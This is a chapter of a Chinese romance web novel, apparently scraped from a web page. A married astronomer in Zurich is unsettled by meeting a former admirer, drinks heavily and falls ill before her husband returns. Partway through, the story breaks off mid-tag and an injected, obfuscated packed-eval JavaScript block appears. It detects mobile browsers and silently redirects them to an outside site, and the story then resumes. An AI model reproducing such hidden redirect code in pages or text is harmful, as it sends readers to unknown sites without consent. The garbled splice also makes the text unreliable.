温木站在会议室里，指尖掐进掌心。
她以为自己看错了。
可那张脸——那张曾经在她二十多岁的记忆里留下过短暂痕迹的脸——就这样毫无预兆地重新出现在她面前。
是明杨。
他比五年前更高了，肩膀宽阔，轮廓深邃，褪去了少年气的莽撞，却仍带着那种令人无法忽视的存在感。他穿着简单的白衬衫，袖口挽到手肘，露出手腕上那串熟悉的檀木珠——那是她曾经随口提过喜欢的款式。
他的眼睛还是那么亮，像夏夜的星，带着笑意，又藏着几分她读不懂的情绪。
“温老师，不记得我了吗？”
他微微歪头，语气轻松，仿佛他们昨天才见过。
温木的喉咙发紧。
她记得。
她当然记得。
Nova。
那是他在天文社的代号，意为“新星”，是她取的。
五年前，他也是这样笑着问她：“温老师，我能追你吗？”
而现在，他站在她面前，像一场猝不及防的旧梦。
“记得。”温木听见自己的声音，冷静得不像话，“你是Nova。”
明杨笑了，眼尾弯起一道浅浅的弧度。
“真荣幸，温老师还记得我。”
温木没接话，只是转身走向会议桌，指尖轻轻敲了敲桌面上的资料。
“Schmidt教授说你想参与项目？”她语气平静，公事公办，“这是目前的研究方向和数据模型，你可以先看看。”
明杨没动。
他只是看着她，目光专注得几乎让她不适。
“温老师。”他忽然喊她。
“你变了很多。”
温木抬眸，对上他的视线：“五年了，人总会变。”
“也是。”明杨轻笑，手指无意识地拨弄着手腕上的珠子，“不过，你还是和以前一样。”
他忽然向前一步，距离骤然拉近。温木闻到他身上淡淡的檀木香。
“连假装不认识我的时候，睫毛都会轻轻发抖。”
温木的呼吸一滞。
她后退半步，拉开距离：“项目介绍在第三页。”
明杨没理会她的回避，反而俯身撑在桌沿，将她半圈在桌前。
“我送的花，你喜欢吗？”他低声问。
温木猛地抬眼：“是你？”
“嗯。”他轻笑，“蓝色风铃，你以前说过，像星云。”
“咖啡也是你送的？”
“双份奶，不加糖。”他目光落在她的唇上，“你的口味一直没变。”
温木攥紧了手中的笔：“明杨，这很越界。”
“是吗？”他直起身，状似无辜地摊手，“我只是想讨好一下未来的项目负责人。”
“不必。”她冷声道，“公事公办就好。”
明杨盯着她看了几秒，忽然笑了：“温老师，你还在生我的气？”
温木：“我没有生气。”
“那为什么不敢看我？”
温木深吸一口气，终于直视他的眼睛：“因为我在想，该怎么跟Schmidt教授说，我不想带你。”
明杨的笑容僵了一瞬。
“这么讨厌我？”
“不是讨厌。”温木合上文件夹，“是不合适。”
“哪里不合适？”
他忽然伸手，指尖轻轻碰了碰她无名指的婚戒。
“因为这个？”
温木猛地抽回手：“别碰我。”
明杨收回手，眼神暗了暗：“抱歉。”
沉默在两人之间蔓延。
最终，温木拿起包，准备离开。
“你走的那天，”明杨突然开口，“也是这样的背影。”
温木的脚步顿住。
“头也不回。”他的声音带着几分自嘲，“连句再见都不肯说。”
“因为没必要。”温木没有转身，“你很清楚为什么。”
“我知道。”他轻声说，“因为我太年轻，太冲动，配不上你的冷静。”
温木终于回头看他：“不是配不上。”
“那是什么？”
“是不合适。”
她的语气异常平静：“你要的是轰轰烈烈的爱情。而我，要的是能并肩同行的人。”
明杨笑了：“所以现在这个人出现了？”
“嗯。”
“他对你好吗？”
“很好。”
“比我好？”
温木看着他，忽然也笑了：“Nova，你从来都不是我的选项。”
明杨的表情终于出现一丝裂痕。
“真残忍啊，温老师。”他低声说，“连个幻想都不肯留给我。”
“因为没必要。”
温木转身，“你也该长大了。”
她推开门，走廊的灯光昏黄，夏夜的风从敞开的窗户灌进来，带着微热的躁意。她的心跳得有些快，掌心微微发潮，可脚步却一步未停。
“温木。”明杨在身后叫她。
她没有回头。
“花我还会送。”他说，“就当是，道歉。”
温木的脚步没有停。
“不必了。”
她的声音消散在夏夜的风里。
“我先生会吃醋。”
“哈。”
明杨的声音从身后传来。
“你真的结婚了。”
她没回头，只是微微侧脸。
“和你有关系吗？”
明杨沉默了两秒。
“没有。”他低声说，“没有。”
“我只是……想祝福你。”
温木的手指攥紧了包带。
她没说话，只是点了点头，然后快步走向楼梯间。
走廊的尽头，夜风卷着树影晃动，远处的苏黎世湖泛着细碎的波光。六月的空气闷热潮湿，黏在皮肤上，像一层挥之不去的旧梦。
她走得很快，仿佛身后有什么在追赶。
直到走出教学楼，直到夜风彻底吹散那股若有若无的檀木香，她才停下脚步，深深吸了一口气。
手机在口袋里震动。
她掏出来，屏幕上跳动着“老公”两个字。
温木盯着那个名字看了两秒，忽然笑了。
她按下接听键。
“老婆。”宋星燃的声音透过听筒传来，带着熟悉的懒散和笑意，“怎么还没到家？”
温木抬头，望向夜空。
繁星点点，像无数双注视着她的眼睛。
“马上回去了。”她轻声说。
“想我了没？”
“嗯。”
“嗯是什么意思？”
“想了。”
宋星燃低笑，嗓音沙哑：“我也想你。”
温木闭上眼睛，任由夜风拂过脸颊。
“宋星燃。”
“嗯？”
“我今晚想吃你煮的面。”
电话那头顿了一下，随即传来窸窸窣窣的动静，像是他猛地坐直了身体。
“现在？”
“现在。”
“可我在布鲁塞尔——”
“我知道。”温木打断他，眼睛酸涩得很，“所以，你欠我一碗。”
宋星燃沉默了两秒，低笑一声。
“行。”他说，“等我回去，给你煮一辈子。”
温木也笑了。
“好。”
她挂断电话，抬头最后看了一眼教学楼的某个窗口。
那里，一道修长的身影静静伫立，目光遥远而沉默。
温木收回视线，转身走入夜色。
这一次，她没有回头。
*
汽油的爪子在地板上啪嗒啪嗒地响，它咬着尾巴冲过来，湿漉漉的鼻子蹭着温木的裤脚。
“妈妈回来了。”她轻声说，弯腰揉了揉它的脑袋。
汽油却不像往常那样兴奋地扑她，而是仰着头，黑亮的眼睛盯着她，喉咙里发出呜呜的低鸣。
它似乎察觉到她的情绪，前爪搭上她的膝盖，轻轻扒拉两下，像是在问：妈妈你怎么了？
温木蹲下来，把脸埋进汽油蓬松的毛发里，深深吸了一口气。
“没事。”她低声说，更像是在安慰自己，“妈妈没事。”
窗外，苏黎世的夜色璀璨如星河。远处高楼灯火通明，霓虹在玻璃幕墙上流动，像一场永不落幕的梦。可温木站在落地窗前，却觉得那些光点遥远得像是另一个世界。
她忽然觉得很累。
不是身体上的疲惫，而是某种更深的东西——像是被潮水冲刷过后的沙滩，留下深深浅浅的沟壑，无法抚平。
她走向酒柜，指尖在一排排酒瓶上划过，最后停在一瓶伏特加上。
透明的液体，纯粹的烈。
她拿出玻璃杯，犹豫了一秒，又放了回去。直接撬开瓶盖，仰头灌了一口。
酒精像刀，从喉咙一路烧到胃里。她呛了一下，眼眶瞬间发烫，可她还是又喝了一口，再一口。
伏特加没有味道，只有纯粹的灼烧感。可偏偏是这种近乎自虐的刺激，让她混沌的思绪短暂地清醒了一瞬。
她拎着酒瓶走到沙发边，整个人陷进去，摸出手机。
微信列表滑了很久，久到屏幕自动熄灭，她又按亮，继续滑。
最后，她拨通了于茉的电话。
“嘟——嘟——”
响了很久，电话才被接起。
“宝贝，”于茉的声音带着浓浓的睡意，“就算你很想我，也不用凌晨三点给我打电话吧？”
电话那头沉默了很久。
于茉似乎察觉到什么，声音很快清醒过来：“怎么了？发生什么事了？怎么不说话？”
顿了顿，她又试探性地问：“和宋星燃吵架了？”
半晌，温木才轻轻地说：“我遇见他了。”
瞬间安静。
几秒钟后，于茉的声音变得异常清晰：“……明杨？”
“嗯。”
“在苏黎世？”
“嗯。”
“……艹。”
于茉深吸一口气，温木能听到她翻身坐起的窸窣声：“怎么回事？他怎么会突然出现？”
“Schmidt教授的项目。”温木的声音很轻，“他是新加入的成员。”
“他认出你了？”
“第一眼就认出来了。”温木苦笑，“还叫我''温老师''，和以前一样。”
电话那头传来于茉烦躁的抓头发声：“王八蛋！”
“他跟你说了什么？”
温木盯着酒瓶里晃动的液体：“他说，花是他送的，咖啡也是他送的。”
“什么花？什么咖啡？”
“最近一个月，我桌上总会出现花和咖啡。”温木闭了闭眼，“我以为是哪个同学送的，没在意。”
于茉骂了句脏话：“他跟踪你？”
“应该不是。”温木摇头，“他说是''道歉''。”
“道什么歉？当年不告而别的歉？”于茉冷笑，“五年了，现在才想起来道歉？”
温木没说话。
“他还说什么了？”
“他说……”温木的声音低下去，“我走的那天，连句再见都不肯说。”
电话那头，于茉沉默了。
良久，她才轻声问：“阿木，你现在什么感觉？”
温木仰头又灌了一口酒，酒精烧得她眼眶发热：“烦。”
“烦他？”
“烦这一切。”她的手指无意识地摩挲着酒瓶，“烦这个时间，这个地点，烦……”
“烦宋星燃不在？”
温木的指尖顿住。
“我不知道该怎么面对他。”她终于说出口，“如果宋星燃知道……”
“他会发疯。”于茉干脆利落地说，“以他的脾气，绝对会把明杨揍得妈都认不出来。”
温木苦笑：“我知道。”
于茉：“你打算告诉他吗？”
“我不知道。”温木揉了揉太阳穴，“我不想瞒他，可是……”
“可是你怕他误会？”
“嗯。”
电话那头，于茉叹了口气：“阿木，你老实告诉我。你现在对明杨，到底是什么感觉？”
温木沉默了。
酒精让她的思绪变得迟缓，但某些记忆却越发清晰。
五年前，天文台的深夜，明杨趴在望远镜旁，笑着对她说：“温老师，你看那颗星，像不像你的眼睛？”
实验室里，他总是不请自来，带着两杯咖啡，一杯双份奶不加糖，一杯全糖加奶盖。
下雨天，他把外套罩在她头上，自己淋得浑身湿透，却还在笑：“温老师，我是不是很帅？”
分别的那天，他站在ETH的校门口，眼神晦暗不明：“温木，如果我现在说我不想走了，你会不会留我？”
而她只是平静地回答：“别幼稚了，Nova。”
“阿木？”于茉的声音将她拉回现实。
“我不知道。”温木最终说，“我不恨他，也不怨他，可是……”
“可是见到他，你还是会想起以前？”
“嗯。”
于茉沉默了一会儿：“你还记得当年他为什么突然离开吗？”
温木的手指紧了紧：“他跟我说，他要去追求更重要的东西。”
“屁！”于茉冷笑，“他明明是收到了MIT的offer，连招呼都不打就直接走了。”
“我知道。”温木轻声说，“后来我听说了。”
“那你现在为什么还不怪他？！”
“因为我觉得他说得对。”
温木轻声道。
“那时的他太年轻，太冲动，根本不知道自己要什么。”
“那你呢？”于茉反问，“你知道自己要什么吗？”
温木愣住了。
“五年前，你拒绝他，是因为你觉得他不够成熟。”
“那现在呢？如果他变了，如果他真的成熟了，你会动摇吗？”
“不会。”温木几乎是立刻就回答了这个问题。
“我已经结婚了，我已经有丈夫了。”
“那你为什么还这么烦？”
温木的声音哽了一下：“因为，我不想让过去的事情影响现在。”
电话那头，于茉叹了口气：“阿木，你听我说——”
她的话突然被一阵咕咚声打断。
“阿木？”
没有回应。
“阿木！”
几秒后，温木虚弱的声音传来：“我没事，酒洒了。”
于茉这才注意到背景里玻璃碰撞的声音：“你在喝酒？“
“嗯。”
“喝的什么？”
“伏特加。”
“你疯了！”于茉的声音陡然拔高，“你明明不能喝酒还喝这么烈的！你老公在不在家？”
“不在，比赛去了。”
“天啊！”于茉抓狂，“我跟你说，你现在最好别让宋星燃知道这事，不然真的会出大事。”
温木苦笑：“我知道。”
“你打算怎么办？”
“我不知道。”温木的声音带着醉意，“我想告诉他，但是我怕他误会我对明杨还有感觉。”
“阿木，你听我说，明杨突然出现，还故意接近你，绝对没安好心。”
“我知道。”
“所以你必须跟宋星燃坦白。”于茉的语气变得严肃，“但不是现在，不是在你喝醉的时候，也不是在他比赛期间。”
温木没说话。
“等他比赛结束，你冷静下来，再好好跟他谈。”于茉继续说，“但在这之前，离明杨远点，明白吗？”
“嗯。”
“还有，别再喝酒了。”于茉的声音软下来，“去洗个热水澡，好好睡一觉，明天我再打给你，好吗？”
温木“嗯”了一声，挂断电话。
酒瓶已经空了。
她仰头喝完最后一口，酒精烧得她眼前发晕。
汽油跳上沙发，蜷在她腿边，温暖的身体贴着她。温木伸手摸了摸它的脑袋，意识逐渐模糊。
恍惚间，她好像看见了一个男人的身影。
高挑，挺拔，站在光与影的交界处。
她分不清那是宋星燃，还是明杨。
两人的轮廓在她醉意朦胧的视线里重叠，又分开，最终化作一片混沌的黑暗。
她闭上眼，沉入梦境。
梦里，有人轻声问她：
“温老师，你选谁？”
*
温木是被一阵尖锐的头痛刺醒的。
她睁开眼，眼前一片模糊，喉咙干涩得像被砂纸磨过。窗外的阳光透过窗帘缝隙刺进来，照在她脸上，她下意识抬手挡了挡，却连这个简单的动作都让她太阳穴突突直跳。
宿醉。
她缓慢地眨了眨眼，视线涣散地盯着天花板。床头的手机屏幕亮着，显示下午两点十七分，未接来电——37个。
全部来自“老公”。
温木闭了闭眼，手指微微发抖，点开通话记录。最近的一通是十分钟前。她深吸一口气，拨了回去。
电话几乎是立刻被接通。
“温木！”
宋星燃的声音从听筒里炸开，又急又冲，背景音嘈杂，隐约能听到引擎的轰鸣和工作人员的喊声。
“你他爹的怎么回事？！一晚上不接电话？你知道我给你打了多少电话吗？！”
男人的声音像一把钝刀，狠狠刮过她脆弱的神经。
温木下意识把手机拿远了些，喉咙里挤出一声轻不可闻的回应：“对不起。”
像按下了某个暂停键。
电话那头瞬间安静。
几秒后，宋星燃的嗓音陡然沉了下来，背景的嘈杂声也消失了，像是他快步走到了某个安静的角落。
“老婆，怎么了？”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398812|181620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“对不起，我刚才态度不好。我向你道歉。”
温木没说话。她盯着自己放在被子上的手，指尖因为用力而微微发白。
“老婆？”他的语气彻底变了，带着明显的慌乱，“出什么事了？你在哪？”
“在家。”她的声音轻得几乎听不见。
“你声音不对。”宋星燃的语速变快，呼吸声透过听筒清晰地传来，“是不是生病了？还是有人找你麻烦？”
“我没事。”
“就是，有点不舒服。”
“哪里不舒服？”
“头疼。”
“你喝酒了？”
温木没否认。她慢慢蜷起身体，把脸埋进膝盖里。电话那头传来急促的呼吸声，像是在压抑情绪。
半晌，宋星燃才开口，声音绷得很紧：“你从来不喝酒。”
温木：“嗯。”
“为什么突然喝？”
“就是想喝了。”
“温木。”男人的嗓音沉得吓人，“你知不知道你在撒谎的时候，语速会变慢？“
温木的手指攥紧了被子。
她感觉喉咙发紧，眼眶发热，有什么东西在胸腔里横冲直撞，却找不到出口。
“我现在让队医过去。”宋星燃不容拒绝地说，背景音里传来他快步走动的声响，“你在家等着，别挂电话。”
“不用。”她立刻拒绝，声音因为急切而有些发抖，“我睡一觉就好。”
“你——”
“真的不用。”她声音很轻，却带着不容反驳的坚决，“你好好训练，别耽误比赛。”
电话那头沉默了几秒。然后传来一声闷响，像是拳头砸在墙上。
“打视频。”
“让我看你一眼。”
“不要。”
“温木！”他的声音陡然提高，又猛地压下去，像是怕吓到她。
“让我看你一眼。”
“求你。”
温木闭上眼睛，有什么温热的液体从眼角滑落。
“宋星燃。”她轻声说，“我没事，真的。”
电话那头传来一声压抑的喘息，像是他在极力控制情绪。然后是长久的沉默，久到温木以为通话已经断了，才听到他沙哑的声音：“我给你请个假，今天不许去学校。“
温木：“嗯。”
“电话别挂。”
“我没事，先挂了。”
“喂！”
她没等他再说什么，直接按下了挂断键。
房间里瞬间安静下来，只剩下她自己的呼吸声和汽油不安的呜咽。
温木慢慢坐起身，眩晕感立刻袭来，她不得不扶住床头柜才稳住身体。喉咙火辣辣的疼，胃里翻江倒海，可她连去厕所的力气都没有。
她盯着自己的手，指尖微微发抖。
她在躲什么？
她在怕什么？
明明什么都没发生，明明她什么都没做错，可她却像个心虚的罪犯，连宋星燃的声音都不敢听。
手机突然震动起来，屏幕上跳动着宋星燃的名字。温木盯着那个名字看了很久，最终没有接。
过了一会儿，一条消息弹出来：
火星哥：【接电话】
紧接着又是一条：
火星哥：【求你】
温木的指尖悬在屏幕上方，迟迟没有落下。
火星哥：【不管发生什么，我们一起解决，好不好？】
她的视线模糊了。
手机再次响起，这次是视频通话的请求。温木深吸一口气，按下接听键。
屏幕上出现宋星燃的脸。他看起来糟糕透了。黑发乱糟糟地支棱着，眼下有明显的青黑，嘴唇因为紧抿而发白。背景是车队的休息室，但他一个人站在角落里，眉头紧锁。
看到她的瞬间，男人的瞳孔猛地收缩：“你哭了？”
温木下意识摸了摸脸，才发现自己满脸泪水。
她慌乱地擦了擦，却越擦越多。
“到底怎么了？”宋星燃的声音哑得厉害，像是想穿过信号触碰她，“谁欺负你了？”
温木摇摇头，说不出话。
“是不是工作不顺利？”他急切地问，“还是项目出了问题？或者——”
“宋星燃。”她打断他，声音轻得像叹息。
“我想你了。”
屏幕那头的男人愣住了。
他的喉结滚动，眼神软了下来：“我也想你。”
“比赛，顺利吗？”她努力让自己的声音听起来正常些。
“别转移话题。”宋星燃皱眉，“告诉我到底怎么了。”
温木垂下眼睛，长长的睫毛在脸上投下一片阴影：“真的没事。就是有点累。“
“你，注意安全。”
“我挂了。”
*
温木还是去了学校。
她洗了个冷水澡，强迫自己清醒，化了淡妆遮住苍白的脸色，可镜子里的人依然憔悴得可怕。
Schmidt的办公室门半掩着，她轻轻敲了敲。
“请进。”
老教授抬头，看见她的瞬间愣了一下：“Luna？你脸色怎么这么差？”
“抱歉，教授。”她低声说，“昨天有点不舒服，耽误了工作。”
Schmidt皱眉：“你应该在家休息。”
“我没事。”她勉强笑了笑，“Kepler-13b的数据分析我已经整理好了，现在发给您？”
教授盯着她看了几秒，最终叹了口气：“好吧，但今天别太累。”
温木点点头，转身离开。
走廊上，她迎面撞上了一个人。
“温老师？”
明杨的声音让她脚步一顿。
他今天穿了件深灰色高领衬衫，衬得轮廓越发分明，手里抱着几本厚重的资料，正皱眉看着她：“你脸色很差。”
“没事。”她下意识后退半步，“谢谢关心。”
明杨没让开，反而上前一步：“发烧了？”
他的手指即将触到她额头的瞬间，温木猛地侧身避开：“我说了，没事。”
明杨的手僵在半空，最终慢慢放下。
“抱歉。”
气氛一时有些凝滞。
“数据分析我已经发到组里邮箱了。”温木公事公办地说，“有问题可以随时问我。”
她转身要走，明杨却突然开口：“是因为昨天的事吗？”
温木脚步停住。
“如果是我的出现让你不舒服，”他的声音很低，“我可以退出项目。”
温木闭了闭眼。
“不必。”她最终说，“公事公办就好。”
她没有回头，没看见明杨眼底一闪而过的晦暗。
晚上七点，温木终于撑不住了。
她的头越来越重，视线也开始模糊，连打字的手指都变得迟钝。
Sarah担忧地看着她：“Luna，你确定不需要去医院？”
温木摇头：“我回家休息就好。”
她勉强收拾好东西，走出教学楼时，夜风一吹，她差点站不稳。
出租车里，她靠在窗边，额头抵着冰凉的玻璃，试图缓解那股灼热感。
她发烧了。
这个认知让她想笑。
因为一场重逢，因为一瓶伏特加，因为一个电话，她就把自己折腾成这样。
真不像她。
公寓里一片漆黑。
温木连灯都没开，直接倒在沙发上，连汽油凑过来舔她的手都没力气回应。
天花板在眼前旋转，她闭上眼睛，却感觉整个世界都在下沉。
她梦见了五年前的ETH。
梦见明杨在图书馆拦住她，笑着说：“温老师，我能追你吗？”
梦见宋星燃在赛车场边，挑眉看她：“你谁啊？”
两个身影在她梦里交错，最终变成一片混沌的黑暗。
她感觉自己在下坠。
一直下坠。
身下是无底的深渊。
那么黑，那么高。
她害怕，她真的好害怕。
忽然，有人抓住了她的手。
“温木！”
那声音好熟悉。
她拼命想睁开眼睛，可眼皮重得像灌了铅。
“温木！醒醒！”
她不要掉下去。
不要。
她用尽全力，终于睁开了眼——
视线模糊了一瞬，然后渐渐清晰。
宋星燃的脸近在咫尺，眉头紧锁，眼底是藏不住的焦急。他的嘴唇在动，可她听不清他在说什么。
她忽然很想哭。
“宋星燃……”
她的声音哑得不成样子，手指颤抖着抓住男人的衣领。
“我在。”
“老婆，我在这里。”
下一秒，她搂住男人的脖子，埋进他的怀里。
“你真的回来了。”